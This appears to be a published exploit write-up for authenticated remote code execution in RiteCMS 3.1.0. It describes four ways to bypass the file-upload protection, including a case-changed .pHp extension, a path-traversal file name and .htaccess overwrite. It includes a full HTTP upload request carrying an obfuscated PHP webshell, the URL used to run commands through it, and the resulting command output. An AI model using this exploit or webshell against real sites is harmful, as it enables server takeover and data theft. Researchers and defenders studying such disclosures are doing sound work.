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# Exploit Title: RiteCMS 3.1.0 - Remote Code Execution (RCE) (Authenticated)
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# Date: 25/07/2021
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# Exploit Author: faisalfs10x (https://github.com/faisalfs10x)
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# Vendor Homepage: https://ritecms.com/
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# Software Link: https://github.com/handylulu/RiteCMS/releases/download/V3.1.0/ritecms.v3.1.0.zip
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# Version: <= 3.1.0
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# Tested on: Windows 10, Ubuntu 18, XAMPP
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# Google Dork: intext:"Powered by RiteCMS"
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# Reference: https://gist.github.com/faisalfs10x/bd12e9abefb0d44f020bf297a14a4597
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"""
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################
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# Description #
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################
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# RiteCMS version 3.1.0 and below suffers from a remote code execution in admin panel. An authenticated attacker can upload a php file and bypass the .htacess configuration that deny execution of .php files in media and files directory by default.
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# There are 4 ways of bypassing the current file upload protection to achieve remote code execution.
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# Method 1: Delete the .htaccess file in the media and files directory through the files manager module and then upload the php file - RCE achieved
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# Method 2: Rename .php file extension to .pHp or any except ".php", eg shell.pHp and upload the shell.pHp file - RCE achieved
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# Method 3: Chain with Arbitrary File Overwrite vulnerability by uploading .php file to web root because .php execution is allow in web root - RCE achieved
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By default, attacker can only upload image in media and files directory only - Arbitrary File Overwrite vulnerability.
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Intercept the request, modify file_name param and place this payload "../webrootExec.php" to upload the php file to web root
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body= Content-Disposition: form-data; name="file_name"
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body= ../webrootExec.php
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So, webshell can be accessed in web root via http://localhost/ritecms.v3.1.0/webrootExec.php
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# Method 4: Upload new .htaccess to overwrite the old one with content like below for allowing access to one specific php file named "webshell.php" then upload PHP webshell.php - RCE achieved
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$ cat .htaccess
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<Files *.php>
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deny from all
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</Files>
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<Files ~ "webshell\.php$">
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Allow from all
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</Files>
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###################################
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# PoC for webshell using Method 2 #
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###################################
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Steps to Reproduce:
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1. Login as admin
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2. Go to Files Manager
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3. Choose a directory to upload .php file either media or files directory.
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4. Then, click Upload file > Browse..
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3. Upload .php file with extension of pHp, eg webshell.pHp - to bypass .htaccess
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4. The webshell.pHp is available at http://localhost/ritecms.v3.1.0/media/webshell.pHp - if you choose media directory else switch to files directory
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Request:
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========
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POST /ritecms.v3.1.0/admin.php HTTP/1.1
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Host: localhost
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User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:90.0) Gecko/20100101 Firefox/90.0
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Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
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Accept-Language: en-US,en;q=0.5
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Accept-Encoding: gzip, deflate
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Content-Type: multipart/form-data; boundary=---------------------------410923806710384479662671954309
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Content-Length: 1744
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Origin: http://localhost
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DNT: 1
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Connection: close
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Referer: http://localhost/ritecms.v3.1.0/admin.php?mode=filemanager&action=upload&directory=media
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Cookie: PHPSESSID=vs8iq0oekpi8tip402mk548t84
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Upgrade-Insecure-Requests: 1
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Sec-Fetch-Dest: document
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Sec-Fetch-Mode: navigate
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Sec-Fetch-Site: same-origin
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Sec-Fetch-User: ?1
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Sec-GPC: 1
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-----------------------------410923806710384479662671954309
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Content-Disposition: form-data; name="mode"
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filemanager
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-----------------------------410923806710384479662671954309
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Content-Disposition: form-data; name="file"; filename="webshell.pHp"
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Content-Type: application/octet-stream
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<?php system($_GET[base64_decode('Y21k')]);?>
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-----------------------------410923806710384479662671954309
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Content-Disposition: form-data; name="directory"
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media
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-----------------------------410923806710384479662671954309
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Content-Disposition: form-data; name="file_name"
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-----------------------------410923806710384479662671954309
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Content-Disposition: form-data; name="upload_mode"
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1
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-----------------------------410923806710384479662671954309
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Content-Disposition: form-data; name="resize_xy"
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x
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-----------------------------410923806710384479662671954309
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Content-Disposition: form-data; name="resize"
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640
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-----------------------------410923806710384479662671954309
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Content-Disposition: form-data; name="compression"
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80
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-----------------------------410923806710384479662671954309
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Content-Disposition: form-data; name="thumbnail_resize_xy"
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x
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-----------------------------410923806710384479662671954309
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Content-Disposition: form-data; name="thumbnail_resize"
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150
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-----------------------------410923806710384479662671954309
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Content-Disposition: form-data; name="thumbnail_compression"
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70
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-----------------------------410923806710384479662671954309
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Content-Disposition: form-data; name="upload_file_submit"
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OK - Upload file
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-----------------------------410923806710384479662671954309--
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####################
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# Webshell access: #
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####################
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# Webshell access via:
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PoC: http://localhost/ritecms.v3.1.0/media/webshell.pHp?cmd=id
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# Output:
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uid=33(www-data) gid=33(www-data) groups=33(www-data)
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""" |